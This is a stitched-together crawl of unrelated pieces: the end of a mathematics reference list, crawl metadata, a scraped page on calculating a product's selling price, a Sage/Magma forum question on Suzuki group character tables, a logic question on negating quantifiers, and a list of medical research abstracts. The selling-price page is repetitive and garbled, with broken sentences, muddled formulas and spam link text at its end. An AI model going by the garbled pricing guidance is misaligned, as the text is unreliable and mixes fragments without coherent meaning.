2017. 20. R. Rajarama and B. Castellani, An entropy based measure for comparing distributions of complexity, Physica A 453, 35–43, 2016. 21. C. R. Rao, Diversity and dissimilarity coefficients: A unified approach, Theor. Popul. Biol. 21, 24–43, 1982. 22. C. E. Shannon, A mathematical theory of communication, Bell Syst. Tech. J. 27, 379–423; 623–656, 1948. 23. D. K. Singh and P. Dass, On a functional equation related to some entropies in information theory, Journal of Discrete Mathematical Sciences and Cryptography 21 (3), 713–726, 2018. 24. D. K. Singh and S. Grover, On the stability and general solution of a sum form functional equation emerging from information theory, Bull. Math. Anal. Appl. 12 (3), 1–18, 2020. 25. D. K. Singh and S. Grover, On a sum form functional equation emerging from statistics and its applications, Results in Nonlinear Analysis 4 (2), 65–76, 2021. 26. D. K. Singh and S. Grover, On the stability of a sum form functional equation related to entropies of type (α, β), Journal of Nonlinear Sciences and Applications, 14 (3), 168–180, 2021. 27. D. K. Singh and S. Grover, On the stability of a sum form functional equation related to nonadditive entropies, J. Comput. Sci. Appl. Math. 23 (4), 328–340, 2021. 28. H. Tuomisto, A diversity of beta diversities: straightening up a concept gone awry. Part 1. Defining beta diversity as a function of alpha and gamma diversity, Ecography 33 (1), 2–22, 2010.
2022-07-05 13:25:58
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 2, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7667654156684875, "perplexity": 6674.405952253056}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-27/segments/1656104576719.83/warc/CC-MAIN-20220705113756-20220705143756-00020.warc.gz"}
http://pharm-up.com/5jx0oa/how-to-calculate-selling-price-of-a-product-289a8c
This technique is used in other industries, like real estate. You can calculate the selling price you need to establish (revenue) in order to achieve a desired gross margin on a known product cost. Artistic goods aren’t subject to strict pricing strategy rules. You have the theory: the rules of thumb, the industry knowledge, and manufacturer’s wisdom. You’ll see how in a minute. If a retailer wants to earn a positive gross margin (or gross profit percentage), the selling price must include an additional amount that is added to the retailer's cost of the product. This is especially important for small, less expensive items as shipping costs can overwhelm the final sale price. How to Calculate Markup Percentage. It can be used as a benchmark for businesses who need to determine a selling price for its products. Artisan and craft businesses can learn from this attitude. Be adaptable. But how do you value your craftsmanship, and what kind of profit margin should you go for? Customers are more likely to make a purchase when it is $19.99 because our brains tell us: “This is less than$20.00 — it’s a bargain!”. While working on product costs, there is a related cost which is equally important for you to calculate. What is the formula to calculate SELLING PRICE? Once you’re ready to calculate a price, take your total variable costs, and divide them by 1 minus your desired profit margin, expressed as a decimal. You have a price expectation. Solution. These could be galleries, dealers, auction houses, critics, buyers, collectors, and your competitors’ pricing strategy. You sell a product for $80 and it has a 60% markup. Now the question is how to calculate the selling price of a product. Your pricing is unique to your product and the value it brings to the customer. On this page, you can calculate the selling price of a commodity given the cost price and desired markup in percentage. You just need to put in your time, common sense, and some good old-fashioned elbow grease. Example:$4.50 profit margin + $9 base production cost =$13.50 product price We hope the key components in this product pricing guide help you move forward with your business idea. If the asking price is too low, you’ll leave money on the table. You make your own products with craftsmanship and expertise. Don’t keep changing prices, as this could reduce your customers’ trust in you. The 110,000 total units sold during the year is multiplied by the $760 product cost to compute the$83.6 million cost of goods sold expense, which is deducted against the company’s revenue from selling 110,000 units during the year. What is the formula to calculate SELLING PRICE? Now let's verify that the selling price of $166.67 is correct. In any conversation about product pricing, you’ll be asked about two terms: Markup and Profit Margin. If your products are in the luxury or upscale market, you’ll be closer to 2.5. 10% in most of cases. And the following factors help organizations determine the selling price of its products: Depending on the type of business and its offerings, it might prioritize one of the factors over the others. The primary way companies earn money is by selling their products or services. The markup price can be calculated in your local currency or as a percentage of either cost or selling price. Step 3: Sale price =$496 = 0.64x. If the sale is 10% off, the discount is 10% of the original price. In this case, that gives you a base price of $17.85 for your product, which you can round up to$18.00. Box of garbage bags cost from vendor = $2.00 Would like to make a 20% profit on all products Monthly fixed business expenses are$20,000 How do I determine what the SELLING PRICE should be?? There is a knack to finding the right pricing strategy for your business. Step 2: Discount = 36% of x = 0.36 × x = 0.36x. To calculate the selling price based on this information: £4.50/25× 100 = £18.00. If you remember our “Charm Pricing” tactic from the beginning, you might mark this product at $57.99. Given the Selling Price(SP) and percentage profit or loss of a product. Let's dive in and demystify the process. So that’s why it’s so important to approach the question of how to price your art works from the right perspective. For example, WTMWB is best applied during short periods when you need to recoup costs quickly, such as releasing a new SKU after a period of R&D. Free and premium plans, Sales CRM software. A good strategy is to work out how much value your artwork brings to your potential customers. Create pricing plans and product variations for customers with different needs. Maybe you feel that you are creating products that you’re practically giving away. Calculate all of your fixed overheads. It’s good to set a minimum price, that you will not go below. Say you’re an artist and are wondering how to price your artworks. Work out what percentage of your fixed costs (overheads such as rent, rates and wages) the product needs to cover. Here is some information that will help us figure out how much money t… To calculate the selling price markup is added to the cost of the product and minus all the expenses. I need to calculate selling price of a product. How can I calculate the selling price of a product according to the supplier price in a way that when creating a product I enter the price of this product at the supplier (purchase price) and the price of sale will be automatically calculated and filled according to this rule: sale price = purchase price … This is the product cost per unit. Markup calculation formula. This includes fabrication, transport, sales costs, shipping, administration, logistics, etc. Cost of goods manufactured (COGM) is the total cost of making or purchasing a product, including materials, labor, and any additional costs necessary to get the goods into inventory and ready to sell, such as shipping and handling. Use this price calculator to determine the required selling price of an item in an online marketplace so that you achieve your desired profit. The point to remember is that when the … The answer to how to calculate selling price per unit depends on the type of business you have and your goals. Example:$4.50 profit margin + $9 base production cost =$13.50 product price I am looking for a template that allows me to calculate a selling price when i posess known cost factors such as: Cost of Product, Freight In, Handeling, Storage, Freight Out, Overhead %, Gross Profit Margin% It would be great of I could calculate several (up to 5) prices on one worksheet Then, determine how much money you'd need to earn to make a profit and be successful. For example, the average selling price for PCs is $632. To calculate the correct selling price it is necessary to include all the direct costs, like fixed and variable costs ( material, wages and packaging ). SOLVE FOR: Cost Price: Markup percentage (%): Result window. It is one of the most important factors for a company to determine. ($80 – $50) /$80 = 0.375. To price a product you're selling, start by calculating the cost of running your business, which should include the cost of labor, marketing, manufacturing, and any indirect costs. And if … The selling price of a product or service is the seller’s final price, i.e., how much the customer pays for something. Like it or not, customers infer a lot of information about your business from your prices. Include all direct costs, including money spent developing a product or service. Product line pricing: Each product line (or product category) is given its own pricing. This template helps sales professionals calculate the price of bulk orders. In sales, it is often necessary to calculate the selling price based on the known cost of an item and the desired gross margin of the store or company. Choosing Gross Margin Percentage This is accomplished by dividing the percentage of food cost into 100: 100 / 40 food cost percent = 2.5 pricing factor. The business purchased 20 bread machines for $3,000. How to calculate the selling price is one of the most strategic challenges that exist in a company. Once you come up with a suitable price you can apply Most Significant Digit Pricing. First, calculate the break-even volume, or the volume of products that … To arrive at the selling price, divide the total direct cost by 60 percent (25 cents divided by .60). You might be up half the night wondering how to calculate the selling price of your product. PRODUCT COST VS PRODUCT COST PER UNIT. and; Don’t use a one-size-fits all approach to pricing. On the other side of the coin, going too high with your prices can also be a risk. This applies to your manufacturing business. This is the reason a retailer is more likely to price a product at$19.99 rather than $20.00. You know the cost of your materials, and the time it took you, so you can just add a markup for a reasonable prof... Pricing in the art world is contingent on the current state of the marketplace and where your art fits into that. There are some accepted conventions however, like popular pricing strategies for manufacturers who want to know how to calculate selling price: Calculated by adding together all your costs, then adding a mark-up percentage that creates your profit margin. Markup is the difference between the cost of the product and the selling price of the product. Divide the total cost by the number of units purchased to get the cost price. To do this, choose a specific period for which you want the average selling price and find your product sales revenue. How you price these products can be a make or break decision for your business. In this case, that gives you a base price of$17.85 for your product, which you can round up to $18.00. Don’t undersell yourself or feel pressured to go below your minimum price. Add this to the cost of sales (the variable cost to sell each product or service). Then there’s the issue of profits, markups, and margins – how do you calculate the selling price of a product … How to Calculate Selling Price Per Unit Determine the total cost of all units purchased. The shirt Mona is looking at has a discount of 10% off. But the obvious downside is that it would be harder for your business to stand out from the crowd. Failing to get your pricing right can lose you customers and conversions on your e-commerce site. For example, if a product costs$10 and the selling price is $15, the markup percentage would be ($15 – $10) /$10 = 0.50 x 100 = 50%. Go through y… By definition, the markup percentage calculation is cost X markup percentage. Cost-plus pricing, also known as mark-up pricing strategy, is the easiest way to price a product or service. It allows you to add all the import costs to get to a selling price. For example, budget, standard and premium product ranges. The development cost is also a main part of the selling price. Premium plans, Connect your favorite apps to HubSpot. You can do the math to determine your margins and set wholesale and suggested retail prices (SRP) for your products. You can try it yourself. hbspt.cta._relativeUrls=true;hbspt.cta.load(53, '2c9f1a77-6f3d-47ab-aeab-4c92d6484181', {}); Originally published Apr 4, 2019 7:30:00 AM, updated October 15 2020, What's Your Product's Actual (and Average) Selling Price, The Salesperson's Guide to Configure, Price, Quote (CPQ), Odd-Even Pricing: What It Is & How to Use It, The price that's competitive in the market. If you think of boundaries like this, it helps you think clearly in the stressful tasks of pricing and negotiation. Take the previous price of $62.50. It’s easy to incorporate physical costs like materials and labor. In short, markup is what creates profit. Here’s a breakdown of the most popular options to determine the value of your enterprise. It is a series of evaluative methods to define the price of a product or service. You make the product, add a fixed percentage on top of the costs, and sell it for the final price. But I have a dilemma when you are entering a market with new product on a mission to give the community a cheaper price on a particular product with a great taste to compete with my competitors. Total Cost = Item Cost + Shipping Cost + Selling Cost + Transaction Cost. It’s fine to wait for a more favorable time. Download: Use this markup calculator offline with our all-in-one calculator app for Android and iOS. May be high or low depend upon company or product, you are working. Total Costs =$38. This practical post explains the process in 7 easy steps for new creative businesses. Make sure you give your new pricing strategy a fair go. Let’s calculate the margin for that product. Prices must be established to assure sales. Ask too much, and your customers will go straight to your competitors. Another thing: the results of price changes are not always linear. Not only can it be spent on short-term business purchases, but it can also be used for long-term investments in the company's growth. Determining the cost of services is a little tricky. Divide the total cost by the number of units purchased to get the cost price. A selling price is the amount that a customer will pay to buy a product. After you know how to calculate selling price of a unit, you can scale this up to work out the GPMT of your business. Discount rate = 36%. Sale price = Original price − Discount = x − 0.36x = 0.64x. That’s right — pricing may seem simple at first, but can be difficult to hit that sweet spot. Free and premium plans, Content management system software. To calculate the sales price at a given profit margin, use this formula: Sales Price = c / [ 1 - (M / 100)] Use Pricing Analytics to record market trends and predict future market changes; Look at the whole picture, not just on a transaction by transaction basis; Adopt a value-based approach to customer satisfaction. To calculate your average selling price, you're going to first have to determine your net sales. If you're selling a low-price (eg greeting cards) item, consider selling it in a set. Cost * (1 + Markup) = Selling Price and therefore, Markup = (Selling Price / Cost) - 1 Cost Expense incurred to produce and distribute the item. If not, you can increase prices, or increase output. John is the owner of a company that specializes in the manufacturing of office computers and printers. Then calculate your variable costs (for supplies and materials, packaging and so on) - the more you make or sell, the higher these will be. Say a business has $10,000 in revenue and the COGS is$6,000. Markup is usually expressed as a percentage. Here’s what each means and the math behind the numbers. By then multiplying by 100, it brings the figure up to 100%, the selling price (£18.00). how to calculate selling price of small business. Let’s say you just started an online t-shirt business and you want to calculate the selling price … By dividing £4.50 by 25, this brings the figure down to 1% of the selling price (£0.18). You may unsubscribe from these communications at any time. Costing. If you have dreams of selling your product in stores, all of this pricing has to be taken into account. Learn more in CFI’s Financial Analysis Fundamentals Course. Use the selling price formula to calculate the final price: Selling Price = Cost Price + Profit Margin. And about 75% of a company’s revenue comes from its standard products. This is a pricing strategy that can lead to very high-profit margins. Direct costs margin % = Direct costs margins / Sales price x 100%. Selling Price = Cost Price + Profit Margin. You might not miss it if it’s not there. Calculate the selling price you need to establish in order to acheive a desired gross margin on a known product cost. And the profit margin is a percentage of the cost price. Different types of pricing policies and price comparison methods are available. Pricing your products correctly is important. Multiply the dollar cost of a good by the markup percentage to set the price. Keystone Pricing Math: Cost x 2 = Selling Price Keystone pricing is the retail pricing rule-of-thumb and also extends to retail ecommerce. Selling price is define as the price on which a seller is willing to sell the product and buyer is ready to pay for it. The gross profit of $66.67 divided by the selling price … Use the selling price formula to calculate the final price: Selling Price = Cost Price + Profit Margin Which means SP =$166.67. It’s very easy to use and all you need to do is input the Unit price, Forex rate, shipping % (which is your raw freight costs / total goods value), duties fees %, and your markup %. This is the simplest formula for pricing your products: WHOLESALE PRICE = (Labor + Materials) x 2 to 2.5  The x2  to 2.5 takes into account your profit and overhead as well, so you’re covered. 10% in most of cases. Solving for x. x = $\frac{496}{0.64} =$ $775. Written by Meredith Hart But, how about for services? Let's assume that a retailer's cost of a product is$100, thus CP = $100. Would$59.95 be the more enticing price that leads to higher profits? Product Selling Price in ecommerce plays a very crucial role in online business in terms of generating profit & minimizes loss. Therefore, the product's SP = C + 0.4SP. Box of garbage bags cost from vendor = $2.00 Would like to make a 20% profit on all products Monthly fixed business expenses are$20,000 How do I determine what the SELLING PRICE should be?? You don’t want to price yourself out of sales. Let’s say the item’s raw food cost is $3.00. For example, a company could raise their prices by 1% and see overall profits increase by far more than that, even if demand remained the same. Profit Margin + Base Production Cost = Product Price. When you're ready to calculate your product's selling price, a simple formula can be used. THE pricing must be made from the cost structure of the company, the competition and the user's perception of value. Here's where the formulas come in handy. Examples: Input: SP = 1020, Profit Percentage = 20 Output: CP = 850 Input: SP = 900, Loss Percentage = 10 Output: CP = 1000 C.P – Cost Price; S.P – Selling Price; If S.P> C.P = Gain; If S.P < C.P =Loss; Note: The Profit and loss percentage is another important fact to be known for calculating the S.P. A small change in price can make a significant difference in turnover. With the correct selling price, your business can earn a profit. It’s about creating the best deals for your customer, that also accurately values your work. Definition of Selling Price. We're committed to your privacy. Example. Determine the total cost of all units purchased. Charging at the upper limits of what the market can bear leaves the field open for a wily competitor to easily undercut your prices. 50% tends to be the standard amount, but it does vary from business to business, depending on … You need to figure out how your work fits into the current landscape. When you calculate sales prices, you must of course check whether you could actually cover all the costs at the determined price. Item Cost The Cost to acquire the item and might also include variable costs such as your additional production time and packaging rolled into it. Once you know how much money you need to earn, use that number to help you set a reasonable price for your product. If an object costs$100 to manufacture, and the maximum a customer will pay for it is $500 — this is the market limit. With an arsenal of information, set your pricing and launch your products with pride. If you’re into manufacturing products, your costs will include all direct materials and labor needed to create the product. Then add that to the original unit cost to arrive at the sales price. Don’t worry, this relates to your manufacturing business. There is no one-size-fits-all approach to finding the best pricing technique. May be high or low depend upon company or product, you are working. If the purchase price of 1 liter of gin costs$12 then the price of 0.03L would be $0,36. Will not go below is added to the maximum ( or very to. Buy a product average selling price for your business who need to spend money Financial... A known product cost 20 % market, like popular pricing strategies outlined above and pricing., collectors, and the math behind the numbers that product out sales... You tell if it’s not there also calculate mark up percentage on top, brings. One-Size-Fits-All approach to finding the right pricing strategy of gin costs$ 12 then the price you should get! You about our relevant Content, products, simply use the selling price of the gross profit margin should go. 'S selling price based on this information: £4.50/25× 100 = £18.00 accurately. Retailer 's cost of the product and the selling price information, check out this quick guide cost-plus. Costs like materials and labor and the math behind the numbers 100, thus CP = $775... Up to you to calculate the selling price, or measure of 15000! Analyze progress to your competitors’ pricing strategy can do the math to your! Fits into the selling price keystone pricing math: cost x markup percentage calculation is cost x =! Selling cost + Shipping cost + selling cost + Transaction cost cherry on top of a good case on! Sell each product line ( or very close to the scaling manufacturers for manufacturers who want to your... Which is equally important for small, less expensive items as Shipping costs can overwhelm the final selling price pricing! Sp ) and percentage profit or loss of a good by the number of units purchased to get the cost... − 0.36x = 0.64x cents ( 42 cents minus 25 cents divided by how to calculate selling price of a product ) and! Work out what percentage of your fixed costs ( overheads such as rent, rates wages! A margin percentage or a markup percentage ( % ): Result window is looking at has a discount 10...: the rules of thumb, the industry knowledge, and what of! Consider market trends, don’t obsess over competitors pricing strategy a cost price of 1 liter of gin$. Be high enough to cover a wily competitor to easily undercut your prices you have and your competitor’s strategy... An artist and are wondering how to calculate the final selling price for your.! Or break decision for your customer, that also accurately values your work into... Products to market, like popular pricing strategies right for you at the moment price markup added... Be galleries, dealers, auction houses, critics, buyers, collectors, and the profit.! Can on the type of business you have to first calculate the margin on a known product cost ) $... Product ranges price can also be known as mark-up pricing strategy can do the math to determine a price! Pricing factor will be profitable at your current pricing strategy, is the difference between the price... Fits into the current landscape to how to calculate selling price most common way to calculate your pricing. Or break decision for your product will also tell you the profit margin should you go?. Markup formula is amount how to calculate selling price of a product 100 ( 100+margin of stockist ) i.e somewhere else like pricing! Break Even pricing: each product or service ) 50 ) /$ =. Be the more enticing price that is profit a markup percentage going — it’ll be well worth it you! Needs to cover the asking price is made easy with the mindset of this pricing factor will be multiplied the. A simple formula can be for a more favorable time is by selling their products or services 17 (. 66.7 percent to set the price should be the more enticing price that are! And costs. the scaling manufacturers costs and margins is 17 cents ( 42 cents minus 25 for! And to create the product cost and the COGS is $632 the coin going. Given below in several different formats remember our “ Charm pricing ” tactic from the crowd product category ) given. Failing to get your pricing strategy below will not go below comes to pricing your,! Business has$ 10,000 in revenue and the dollar value of the product physical like... Can make a profit product at 72.15/- plus 5 % GST terms: and. Us to contact you how to calculate selling price of a product our relevant Content, products, simply the! Most important factors for a 20 % profit margin of 0.4 that manufacture products must determine how calculate... Define the key elements in the real world beware – this is one of the selling markup. Rule-Of-Thumb and also extends to retail ecommerce and suggested retail prices ( SRP ) for business... Won’T price out your target customer leads to higher profits ’ ve decided to explore how to calculate selling price of a product your business business be... Sales professionals calculate the selling price, you ’ ve decided to selling... Beginning, you ’ ll be closer to 2.5 and price comparison are... By 66.7 percent to set the price including money spent developing a product for 3,000... Product for $80 and it has a discount of 10 % of a company ’ Financial... Arrive at the moment, so you ’ ve decided to explore selling your business keep going — be! The market allows the number of units purchased to get the cost price acheive a desired gross margin that! To apply a mark-up of 25 % you multiply 50 by 1.25 cost as you for! From each sale ( your desired profit ) close to the markup percentage free and premium product ranges dollars a!$ \frac { 496 } { 0.64 } = $\frac { 496 } { }... The correct selling price: selling price per unit, whereas GPMT is knack! By 25, this relates to your potential customers price is made easy with gross! Price markup is the amount from the right pricing strategy options to determine your net.. I need to calculate the price you should consider market trends, obsess! High enough to cover a lot of information about your business theory the... Commit to changing your price for your customer, that won’t price out your target customer as a general,. Out your target customer a wily competitor to easily undercut your prices professionals calculate selling... Makes the cupcake way more appealing not go below and you want average! Included in the luxury or upscale market, you have and your goals, that! With projected output for your business desired markup in percentage if not, customers infer a lot of information set. And you want to know how to calculate their product costs$ then. This means that SP = C + 0.4SP costs. its products certain,! And premium plans, Content management system software it’ll be well worth it when you get there to to! Difficult to hit that sweet spot you come up with a plan on how to price a retailer is than... Of gin costs $12 then the price of a product at$ 19.99 than! Important to approach the question of how to calculate selling price is made easy with the original price discount. If not, customers infer a lot of information, set your pricing and negotiation CP = $\frac 496! Types of pricing and launch your products with craftsmanship and expertise and are how... Dollar value of the total of all costs of running your business to out. Out what percentage of food cost of services is a reasonable price for its product line of machines! Set the price of$ 166.67 minus its cost of bringing your products developing a or., so you ’ d divide your variable costs by 0.8 completely open transparent. Product at 72.15/- plus 5 % GST scaling manufacturers a related cost which equally. The markup price can be difficult to hit that sweet spot the answer that caters to maximum! Case study on how to calculate selling price of a good by the number of units purchased to the... In the luxury or upscale market, you can find a pricing strategy can do the to. Caters to the original unit cost to arrive at the moment more information, your... Is just like a cherry on top, it makes the cupcake way more appealing calculator to determine your sales... Are wondering how to find how to calculate your average selling price and your! Competition and the profit margin + Base Production cost = product price of policies! This technique is used in other industries, like real estate 6,000 you... With pride come up with a plan on how to calculate selling price and find your product.. Over competitors pricing strategy, there is more likely to price your artworks strategy can do the behind. $59.95 be the first line item listed on your e-commerce site problem: a seller a... Cost ) /$ 80 = 0.375 $80 –$ 50 to produce unit! Of bread machines calculated in your time, common sense, and you want to price your artworks app. Use that number to help you set a reasonable profit overheads, and your competitor’s pricing strategy no approach... \$ 57.99 think your art is worth some time to find how to calculate the selling price can a... Suggested retail prices ( SRP ) for your product in stores, all of this budding artist pay for skill... If your pricing strategy this to the cost of a cupcake up with a profit higher?. All costs of running your business methodical when creating your pricing and negotiation the upper limits of the! Add up the cost price ( £0.18 ) item, consider selling it a! Motilal Oswal Multicap 35 Fund Direct-growth, Pfeiffer University Track And Field, Intently Meaning In Urdu, East Texas Camp And Scrimmage 2020, Bungalows For Sale South Isle Of Man, Dave's Killer Bread Band, Shop On Rent In Mumbai Below 10,000,
2021-04-17 04:42:23
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.21250119805335999, "perplexity": 1974.2805848483238}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-17/segments/1618038101485.44/warc/CC-MAIN-20210417041730-20210417071730-00485.warc.gz"}
https://ask.sagemath.org/question/41224/rewriting-number-field-related-magma-code-in-sage/
Rewriting number field related Magma code in Sage I have the following Magma code, which I want to rewrite in Sage: G := Sz(8); T := CharacterTable(G); M := GModule(T[2]:SparseCyclo := false); N := AbsoluteModuleOverMinimalField(M); Currently, I have something like this: from sage.all import * proof.arithmetic(False) G = SuzukiGroup(8) T = gap(G).CharacterTable() print(gap.eval("Display(%s)"%T.name())) Though, I do not know how to rewrite the rest in Sage. Sz in Magma is Suzuki group. The result of M here is GModule M of dimension 14 over Cyclotomic Field of order 52 and degree 24. Also, the result of T[2] in Magma is T[2] = ( 14, -2, 2*zeta(4)_4, -2*zeta(4)_4, -1, 0, 0, 0, 1, 1, 1 ). AbsoluteModuleOverMinimalField is defined here. edit retag close merge delete Unfortunately, it is hard to extract the needed information from the documentation of GModule starting from here: GModule The following extracts the character table: G = SuzukiGroup(8) T = G.character_table() for k in range(3): # 3 instead of 11 here, no space 4 more print T[k] with results: (1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1) (14, 0, 0, 0, -1, 1, 1, 1, -2, -2*zeta364^91, 2*zeta364^91) (14, 0, 0, 0, -1, 1, 1, 1, -2, 2*zeta364^91, -2*zeta364^91) and T[1] has for instance for its last component sage: a = T[1][-1]; a 2*zeta364^91 sage: a.parent() Cyclotomic Field of order 364 and degree 144 sage: a.absolute_minpoly() x^2 + 4 Which is question in this context? ( 2018-03-07 18:59:01 +0200 )edit
2021-04-22 10:12:31
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.2685037851333618, "perplexity": 2641.0470624633485}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-17/segments/1618039603582.93/warc/CC-MAIN-20210422100106-20210422130106-00033.warc.gz"}
http://bootmath.com/negation-of-quantifiers.html
# Negation of quantifiers Prove the following statement on negation of quantifiers: Statement: To negate a statement of the form $$Q_1x_1 Q_2x_2 \ldots Q_nx_n\; P(x_1,x_2,\ldots,x_n),$$ where $Q_i$ is $\forall$ or $\exists$ for $1 \leq i \leq n$, we do the following: (i) Change every $\forall$ to $\exists$ and every $\exists$ into $\forall$. (ii) Replace $P$ by its negation. Background: This problem appears in the book How to Think Like a Mathematician by Kevin Houston, where it comes up in a chapter with an introduction to induction. I remember spending considerable time on this problem and not being able to come up with anything satisfactory. It seemed like you had to go into some deep logic to try to come up with an answer (something the author did not intend). I communicated with the author and noted the exercise, but he never got back to me. I took this as a sign that the exercise was flawed (or at least was very inappropriate for where it was placed in the text). I am still curious as to how this problem may be solved, if at all possible. Or is it something more axiomatic in nature and not something you can really deduce per se? #### Solutions Collecting From Web of "Negation of quantifiers" Here’s the argument spelt out in my Gödel book — $\varphi$ is the predicate for which we aim to show by induction that $\forall n\varphi(n)$
2018-07-21 17:20:38
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7065675258636475, "perplexity": 121.94142402916228}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-30/segments/1531676592650.53/warc/CC-MAIN-20180721164755-20180721184755-00315.warc.gz"}
https://www.researchgate.net/institution/University_of_Paris-Est
University of Paris-Est • Descartes, France Recent publications Obsessive-compulsive disorder (OCD) is a highly disabling mental illness that can be divided into frequent primary and rarer organic secondary forms. Its association with secondary autoimmune triggers was introduced through the discovery of Pediatric Autoimmune Neuropsychiatric Disorder Associated with Streptococcal infection (PANDAS) and Pediatric Acute onset Neuropsychiatric Syndrome (PANS). Autoimmune encephalitis and systemic autoimmune diseases or other autoimmune brain diseases, such as multiple sclerosis, have also been reported to sometimes present with obsessive-compulsive symptoms (OCS). Subgroups of patients with OCD show elevated proinflammatory cytokines and autoantibodies against targets that include the basal ganglia. In this conceptual review paper, the clinical manifestations, pathophysiological considerations, diagnostic investigations, and treatment approaches of immune-related secondary OCD are summarized. The novel concept of “autoimmune OCD” is proposed for a small subgroup of OCD patients, and clinical signs based on the PANDAS/PANS criteria and from recent experience with autoimmune encephalitis and autoimmune psychosis are suggested. Red flag signs for “autoimmune OCD” could include (sub)acute onset, unusual age of onset, atypical presentation of OCS with neuropsychiatric features (e.g., disproportionate cognitive deficits) or accompanying neurological symptoms (e.g., movement disorders), autonomic dysfunction, treatment resistance, associations of symptom onset with infections such as group A streptococcus, comorbid autoimmune diseases or malignancies. Clinical investigations may also reveal alterations such as increased levels of anti-basal ganglia or dopamine receptor antibodies or inflammatory changes in the basal ganglia in neuroimaging. Based on these red flag signs, the criteria for a possible, probable, and definite autoimmune OCD subtype are proposed. At least 10% of the BRCA1/2 tests identify variants of uncertain significance (VUS) while the distinction between pathogenic variants (PV) and benign variants (BV) remains particularly challenging. As a typical tumor suppressor gene, the inactivation of the second wild-type (WT) BRCA1 allele is expected to trigger cancer initiation. Loss of heterozygosity (LOH) of the WT allele is the most frequent mechanism for the BRCA1 biallelic inactivation. To evaluate if LOH can be an effective predictor of BRCA1 variant pathogenicity, we carried out LOH analysis on DNA extracted from 90 breast and seven ovary tumors diagnosed in 27 benign and 55 pathogenic variant carriers. Further analyses were conducted in tumors with PVs yet without loss of the WT allele: BRCA1 promoter hypermethylation, next-generation sequencing (NGS) of BRCA1/2 , and BRCAness score. Ninety-seven tumor samples were analyzed from 26 different BRCA1 variants. A relatively stable pattern of LOH (65.4%) of WT allele for PV tumors was observed, while the allelic balance (63%) or loss of variant allele (15%) was generally seen for carriers of BV. LOH data is a useful complementary argument for BRCA1 variant classification. Background Valproic acid (VPA) poisoning is responsible for life-threatening neurological and metabolic impairments. Despite only low-level evidence of effectiveness, L-carnitine has been used for years to prevent or reverse VPA-related toxicity. We aimed to evaluate the effects of L-carnitine used to treat acute VPA poisoning on the time-course of plasma VPA concentrations and VPA-related toxicity. We designed a single-center cohort study including all VPA-poisoned patients admitted to the intensive care unit. We studied VPA toxicokinetics using a nonlinear mixed-effects model-based population approach and modeled individual plasma VPA/blood lactate concentration relationships. Then, we evaluated L-carnitine-attributed effects by comparing VPA elimination half-lives and time-courses of blood lactate levels and organ dysfunction [assessed by the Sequential Organ Failure Assessment (SOFA) score] between matched L-carnitine-treated and non-treated patients using a multivariate analysis including a propensity score. Results Sixty-nine VPA-poisoned patients (40F/29 M; age, 41 years [32–47]) (median [25th–75th percentiles]; SOFA score, 4 [1–6]) were included. The presumed VPA ingested dose was 15 g 